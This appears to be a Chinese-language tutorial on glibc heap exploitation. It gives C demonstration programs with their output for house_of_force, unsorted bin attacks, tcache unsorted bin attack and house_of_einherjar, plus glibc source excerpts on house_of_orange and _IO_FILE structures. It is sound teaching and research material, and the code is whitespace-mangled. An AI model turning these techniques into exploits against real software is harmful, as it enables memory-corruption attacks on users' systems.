#include<stdio.h>#include<stdint.h>#include<stdlib.h>#include<string.h>#include<stdint.h>#include<malloc.h>char bss_var[]="This is a string that we want to overwrite.";intmain() {fprintf(stderr,"We will overwrite a variable at %p\n\n", bss_var);intptr_t*p1 =malloc(0x10);int real_size =malloc_usable_size(p1);memset(p1,'A', real_size);fprintf(stderr,"Let's allocate the first chunk of 0x10 bytes: %p.\n", p1);fprintf(stderr,"Real size of our allocated chunk is 0x%x.\n\n", real_size);intptr_t*ptr_top = (intptr_t*) ((char*)p1 + real_size);fprintf(stderr,"Overwriting the top chunk size with a big value so the malloc will never call mmap.\n");fprintf(stderr,"Old size of top chunk: %#llx\n",*((unsignedlonglongint*)ptr_top)); ptr_top[0] =-1;fprintf(stderr,"New size of top chunk: %#llx\n",*((unsignedlonglongint*)ptr_top));unsignedlong evil_size = (unsignedlong)bss_var -sizeof(long)*2- (unsignedlong)ptr_top;fprintf(stderr,"\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);void*new_ptr =malloc(evil_size);int real_size_new =malloc_usable_size(new_ptr);memset((char*)new_ptr + real_size_new -0x20,'A',0x20);fprintf(stderr,"As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr);void* ctr_chunk =malloc(0x30);fprintf(stderr,"malloc(0x30) => %p!\n", ctr_chunk);fprintf(stderr,"\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n");fprintf(stderr,"old string: %s\n", bss_var);strcpy(ctr_chunk,"YEAH!!!");fprintf(stderr,"new string: %s\n", bss_var);}
$ gcc -g house_of_force.c
$ ./a.out
We will overwrite a variable at 0x601080
Let's allocate the first chunk of 0x10 bytes: 0x824010.
Real size of our allocated chunk is 0x18.
Overwriting the top chunk size with a big value so the malloc will never call mmap.
Old size of top chunk: 0x20fe1
New size of top chunk: 0xffffffffffffffff
The value we want to write to at 0x601080, and the top chunk is at 0x824028, so accounting for the header size, we will malloc 0xffffffffffddd048 bytes.
As expected, the new pointer is at the same place as the old top chunk: 0x824030
malloc(0x30) => 0x601080!
Now, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.
old string: This is a string that we want to overwrite.
new string: YEAH!!!
house_of_force 是一种通过改写 top chunk 的 size 字段来欺骗 malloc 返回任意地址的技术。我们知道在空闲内存的最高处,必然存在一块空闲的 chunk,即 top chunk,当 bins 和 fast bins 都不能满足分配需要的时候,malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。这种攻击假设有一个溢出漏洞,可以改写 top chunk 的头部,然后将其改为一个非常大的值,以确保所有的 malloc 将使用 top chunk 分配,而不会调用 mmap。这时如果攻击者 malloc 一个很大的数目(负有符号整数),top chunk 的位置加上这个大数,造成整数溢出,结果是 top chunk 能够被转移到堆之前的内存地址(如程序的 .bss 段、.data 段、GOT 表等),下次再执行 malloc 时,攻击者就能够控制转移之后地址处的内存。
首先随意分配一个 chunk,此时内存里存在两个 chunk,即 chunk 1 和 top chunk:
该技术的缺点是会受到 ASLR 的影响,因为如果攻击者需要修改指定位置的内存,他首先需要知道当前 top chunk 的位置以构造合适的 malloc 大小来转移 top chunk。而 ASLR 将使堆内存地址随机,所以该技术还需同时配合使用信息泄漏以达成攻击。
unsorted_bin_into_stack
#include<stdio.h>#include<stdlib.h>intmain() {unsignedlong stack_buf[4] = {0};unsignedlong*victim =malloc(0x80);unsignedlong*p1 =malloc(0x10);fprintf(stderr,"Allocating the victim chunk at %p\n", victim);// deal with tcache// int *k[10], i;// for (i = 0; i < 7; i++) {// k[i] = malloc(0x80);// }// for (i = 0; i < 7; i++) {// free(k[i]);// }free(victim);fprintf(stderr,"Freeing the chunk, it will be inserted in the unsorted bin\n\n"); stack_buf[1] =0x100+0x10; stack_buf[3] = (unsignedlong)stack_buf; // or any other writable addressfprintf(stderr,"Create a fake chunk on the stack\n");fprintf(stderr,"fake->size: %p\n", (void*)stack_buf[1]);fprintf(stderr,"fake->bk: %p\n\n", (void*)stack_buf[3]); victim[1] = (unsignedlong)stack_buf;fprintf(stderr,"Now we overwrite the victim->bk pointer to stack: %p\n\n", stack_buf);fprintf(stderr,"Malloc a chunk which size is 0x110 will return the region of our fake chunk: %p\n",&stack_buf[2]);unsignedlong*fake =malloc(0x100);fprintf(stderr,"malloc(0x100): %p\n", fake);}
$ gcc -g unsorted_bin_into_stack.c
$ ./a.out
Allocating the victim chunk at 0x17a1010
Freeing the chunk, it will be inserted in the unsorted bin
Create a fake chunk on the stack
fake->size: 0x110
fake->bk: 0x7fffcd906480
Now we overwrite the victim->bk pointer to stack: 0x7fffcd906480
Malloc a chunk which size is 0x110 will return the region of our fake chunk: 0x7fffcd906490
malloc(0x100): 0x7fffcd906490
unsorted-bin-into-stack 通过改写 unsorted bin 里 chunk 的 bk 指针到任意地址,从而在栈上 malloc 出 chunk。
#include<stdio.h>#include<stdlib.h>intmain() {unsignedlong stack_var =0;fprintf(stderr,"The target we want to rewrite on stack: %p -> %ld\n\n",&stack_var, stack_var);unsignedlong*p =malloc(0x80);unsignedlong*p1 =malloc(0x10);fprintf(stderr,"Now, we allocate first small chunk on the heap at: %p\n",p);free(p);fprintf(stderr,"We free the first chunk now. Its bk pointer point to %p\n", (void*)p[1]); p[1] = (unsignedlong)(&stack_var -2);fprintf(stderr,"We write it with the target address-0x10: %p\n\n", (void*)p[1]);malloc(0x80);fprintf(stderr,"Let's malloc again to get the chunk we just free: %p -> %p\n",&stack_var, (void*)stack_var);}
$ gcc -g unsorted_bin_attack.c
$ ./a.out
The target we want to rewrite on stack: 0x7ffc9b1d61b0 -> 0
Now, we allocate first small chunk on the heap at: 0x1066010
We free the first chunk now. Its bk pointer point to 0x7f2404cf5b78
We write it with the target address-0x10: 0x7ffc9b1d61a0
Let's malloc again to get the chunk we just free: 0x7ffc9b1d61b0 -> 0x7f2404cf5b78
unsorted bin 攻击通常是为更进一步的攻击做准备的,我们知道 unsorted bin 是一个双向链表,在分配时会通过 unlink 操作将 chunk 从链表中移除,所以如果能够控制 unsorted bin chunk 的 bk 指针,就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中,从而导致信息泄漏,为进一步的攻击提供便利。
unlink 的对 unsorted bin 的操作是这样的:
/* remove from unsorted list */unsorted_chunks (av)->bk = bck; bck->fd =unsorted_chunks (av);
#include<stdio.h>#include<stdlib.h>intmain() {unsignedlong stack_var =0;fprintf(stderr,"The target we want to rewrite on stack: %p -> %ld\n\n",&stack_var, stack_var);unsignedlong*p =malloc(0x80);unsignedlong*p1 =malloc(0x10);fprintf(stderr,"Now, we allocate first small chunk on the heap at: %p\n",p);free(p);fprintf(stderr,"Freed the first chunk to put it in a tcache bin\n"); p[0] = (unsignedlong)(&stack_var);fprintf(stderr,"Overwrite the next ptr with the target address\n");malloc(0x80);malloc(0x80);fprintf(stderr,"Now we malloc twice to make tcache struct's counts '0xff'\n\n");free(p);fprintf(stderr,"Now free again to put it in unsorted bin\n"); p[1] = (unsignedlong)(&stack_var -2);fprintf(stderr,"Now write its bk ptr with the target address-0x10: %p\n\n", (void*)p[1]);malloc(0x80);fprintf(stderr,"Finally malloc again to get the chunk at target address: %p -> %p\n",&stack_var, (void*)stack_var);}
$ gcc -g tcache_unsorted_bin_attack.c
$ ./a.out
The target we want to rewrite on stack: 0x7ffef0884c10 -> 0
Now, we allocate first small chunk on the heap at: 0x564866907260
Freed the first chunk to put it in a tcache bin
Overwrite the next ptr with the target address
Now we malloc twice to make tcache struct's counts '0xff'
Now free again to put it in unsorted bin
Now write its bk ptr with the target address-0x10: 0x7ffef0884c00
Finally malloc again to get the chunk at target address: 0x7ffef0884c10 -> 0x7f69ba1d8ca0
我们知道由于 tcache 的存在,malloc 从 unsorted bin 取 chunk 的时候,如果对应的 tcache bin 还未装满,则会将 unsorted bin 里的 chunk 全部放进对应的 tcache bin,然后再从 tcache bin 中取出。那么问题就来了,在放进 tcache bin 的这个过程中,malloc 会以为我们的 target address 也是一个 chunk,然而这个 "chunk" 是过不了检查的,将抛出 "memory corruption" 的错误:
#ifUSE_TCACHE /* Fill cache first, return to user only if cache fills. We may return one of these chunks later. */if (tcache_nb&& tcache->counts[tc_idx] < mp_.tcache_count) {tcache_put (victim, tc_idx); return_cached =1;continue; }else {#endifcheck_malloced_chunk (av, victim, nb);void*p =chunk2mem (victim);alloc_perturb (p, bytes);return p;
于是就成功泄露出了 unsorted bin 的头部地址。
house_of_einherjar
#include<stdio.h>#include<stdlib.h>#include<string.h>#include<stdint.h>#include<malloc.h>intmain() {uint8_t*a,*b,*d; a = (uint8_t*) malloc(0x10);int real_a_size =malloc_usable_size(a);memset(a,'A', real_a_size);fprintf(stderr,"We allocate 0x10 bytes for 'a': %p\n\n", a);size_t fake_chunk[6]; fake_chunk[0] =0x80; fake_chunk[1] =0x80; fake_chunk[2] = (size_t) fake_chunk; fake_chunk[3] = (size_t) fake_chunk; fake_chunk[4] = (size_t) fake_chunk; fake_chunk[5] = (size_t) fake_chunk;fprintf(stderr,"Our fake chunk at %p looks like:\n", fake_chunk);fprintf(stderr,"prev_size: %#lx\n", fake_chunk[0]);fprintf(stderr,"size: %#lx\n", fake_chunk[1]);fprintf(stderr,"fwd: %#lx\n", fake_chunk[2]);fprintf(stderr,"bck: %#lx\n", fake_chunk[3]);fprintf(stderr,"fwd_nextsize: %#lx\n", fake_chunk[4]);fprintf(stderr,"bck_nextsize: %#lx\n\n", fake_chunk[5]); b = (uint8_t*) malloc(0xf8);int real_b_size =malloc_usable_size(b);uint64_t* b_size_ptr = (uint64_t*)(b -0x8);fprintf(stderr,"We allocate 0xf8 bytes for 'b': %p\n", b);fprintf(stderr,"b.size: %#lx\n",*b_size_ptr);fprintf(stderr,"We overflow 'a' with a single null byte into the metadata of 'b'\n"); a[real_a_size] =0;fprintf(stderr,"b.size: %#lx\n\n",*b_size_ptr);size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;fprintf(stderr,"We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n",sizeof(size_t));fprintf(stderr,"Our fake prev_size will be %p - %p = %#lx\n\n", b-sizeof(size_t)*2, fake_chunk, fake_size); fake_chunk[1] = fake_size;fprintf(stderr,"Modify fake chunk's size to reflect b's new prev_size\n");fprintf(stderr,"Now we free b and this will consolidate with our fake chunk\n");free(b);fprintf(stderr,"Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]); d =malloc(0x10);memset(d,'A',0x10);fprintf(stderr,"\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d);}
$ gcc -g house_of_einherjar.c
$ ./a.out
We allocate 0x10 bytes for 'a': 0xb31010
Our fake chunk at 0x7ffdb337b7f0 looks like:
prev_size: 0x80
size: 0x80
fwd: 0x7ffdb337b7f0
bck: 0x7ffdb337b7f0
fwd_nextsize: 0x7ffdb337b7f0
bck_nextsize: 0x7ffdb337b7f0
We allocate 0xf8 bytes for 'b': 0xb31030
b.size: 0x101
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x100
We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk
Our fake prev_size will be 0xb31020 - 0x7ffdb337b7f0 = 0xffff80024d7b5830
Modify fake chunk's size to reflect b's new prev_size
Now we free b and this will consolidate with our fake chunk
Our fake chunk size is now 0xffff80024d7d6811 (b.size + fake_prev_size)
Now we can call malloc() and it will begin in our fake chunk: 0x7ffdb337b800
house-of-orange 是一种利用堆溢出修改 _IO_list_all 指针的利用方法。它要求能够泄漏堆和 libc。我们知道一开始的时候,整个堆都属于 top chunk,每次申请内存时,就从 top chunk 中划出请求大小的堆块返回给用户,于是 top chunk 就越来越小。
当某一次 top chunk 的剩余大小已经不能够满足请求时,就会调用函数 sysmalloc() 分配新内存,这时可能会发生两种情况,一种是直接扩充 top chunk,另一种是调用 mmap 分配一块新的 top chunk。具体调用哪一种方法是由申请大小决定的,为了能够使用前一种扩展 top chunk,需要请求小于阀值 mp_.mmap_threshold:
同时,为了能够调用 sysmalloc() 中的 _int_free(),需要 top chunk 大于 MINSIZE,即 0x10:
if (old_size >= MINSIZE) {_int_free (av, old_top,1); }
当然,还得绕过下面两个限制条件:
/* If not the first time through, we require old_size to be at least MINSIZE and to have prev_inuse set. */assert ((old_top ==initial_top (av) && old_size ==0) || ((unsignedlong) (old_size) >= MINSIZE &&prev_inuse (old_top) && ((unsignedlong) old_end & (pagesize -1)) ==0)); /* Precondition: not enough current space to satisfy nb request */assert ((unsignedlong) (old_size) < (unsignedlong) (nb + MINSIZE));
紧接着,申请一块大内存,此时由于修改后的 top chunk size 不能满足需求,则调用 sysmalloc 的第一种方法扩充 top chunk,结果是在 old_top 后面新建了一个 top chunk 用来存放 new_top,然后将 old_top 释放,即被添加到了 unsorted bin 中:
if (old_size !=0) { /* Shrink old_top to insert fenceposts, keeping size a multiple of MALLOC_ALIGNMENT. We know there is at least enough space in old_top to do this. */ old_size = (old_size -4* SIZE_SZ) &~MALLOC_ALIGN_MASK;set_head (old_top, old_size | PREV_INUSE); /* Note that the following assignments completely overwrite old_top when old_size was previously MINSIZE. This is intentional. We need the fencepost, even if old_top otherwise gets lost. */chunk_at_offset (old_top, old_size)->size = (2* SIZE_SZ) | PREV_INUSE;chunk_at_offset (old_top, old_size +2* SIZE_SZ)->size = (2* SIZE_SZ) | PREV_INUSE; /* If possible, release the rest. */if (old_size >= MINSIZE) {_int_free (av, old_top,1); } }
根据放入 unsorted bin 中 old top chunk 的 fd/bk 指针,可以推算出 _IO_list_all 的地址。然后通过溢出将 old top 的 bk 改写为 _IO_list_all-0x10,这样在进行 unsorted bin attack 时,就会将 _IO_list_all 修改为 &unsorted_bin-0x10:
/* remove from unsorted list */unsorted_chunks (av)->bk = bck; bck->fd =unsorted_chunks (av);
// libio/libioP.h/* We always allocate an extra word following an _IO_FILE. This contains a pointer to the function jump table used. This is for compatibility with C++ streambuf; the word can be used to smash to a pointer to a virtual function table. */struct _IO_FILE_plus{ _IO_FILE file;conststruct_IO_jump_t*vtable;};// libio/libio.hstruct _IO_FILE {int _flags; /* High-order word is _IO_MAGIC; rest is flags. */#define_IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */char* _IO_read_ptr; /* Current read pointer */char* _IO_read_end; /* End of get area. */char* _IO_read_base; /* Start of putback+get area. */char* _IO_write_base; /* Start of put area. */char* _IO_write_ptr; /* Current put pointer. */char* _IO_write_end; /* End of put area. */char* _IO_buf_base; /* Start of reserve area. */char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */char*_IO_save_base; /* Pointer to start of non-current get area. */char*_IO_backup_base; /* Pointer to first valid character of backup area */char*_IO_save_end; /* Pointer to end of non-current get area. */struct _IO_marker *_markers;struct _IO_FILE *_chain;int _fileno;#if0 int _blksize;#elseint _flags2;#endif_IO_off_t _old_offset; /* This used to be _offset but it's too small. */#define__HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */unsignedshort _cur_column;signedchar _vtable_offset;char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */_IO_lock_t*_lock;#ifdef_IO_USE_OLD_IO_FILE};
// libio/libio.hstruct _IO_wide_data *_wide_data;/* Extra data for wide character streams. */struct _IO_wide_data{wchar_t*_IO_read_ptr; /* Current read pointer */wchar_t*_IO_read_end; /* End of get area. */wchar_t*_IO_read_base; /* Start of putback+get area. */wchar_t*_IO_write_base; /* Start of put area. */wchar_t*_IO_write_ptr; /* Current put pointer. */wchar_t*_IO_write_end; /* End of put area. */wchar_t*_IO_buf_base; /* Start of reserve area. */wchar_t*_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */wchar_t*_IO_save_base; /* Pointer to start of non-current get area. */wchar_t*_IO_backup_base; /* Pointer to first valid character of backup area */wchar_t*_IO_save_end; /* Pointer to end of non-current get area. */__mbstate_t _IO_state;__mbstate_t _IO_last_state;struct _IO_codecvt _codecvt;wchar_t _shortbuf[1];conststruct_IO_jump_t*_wide_vtable;};